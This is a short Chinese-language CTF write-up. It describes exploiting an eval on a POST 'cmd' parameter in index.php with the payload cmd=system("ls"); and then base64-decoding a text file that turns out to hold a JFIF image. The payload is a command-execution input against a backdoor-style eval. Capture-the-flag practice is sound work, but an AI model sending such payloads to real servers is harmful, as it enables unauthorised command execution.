访问index.php
eval post cmd
exp:cmd=system("ls");
在文件里没找到flag
但 bbbbbb.txt 里明显是base64
进行解密
发现JFIF，是图片转base64，找网站转回去。（感觉更像misc）
2023-07-03T11:07:34.png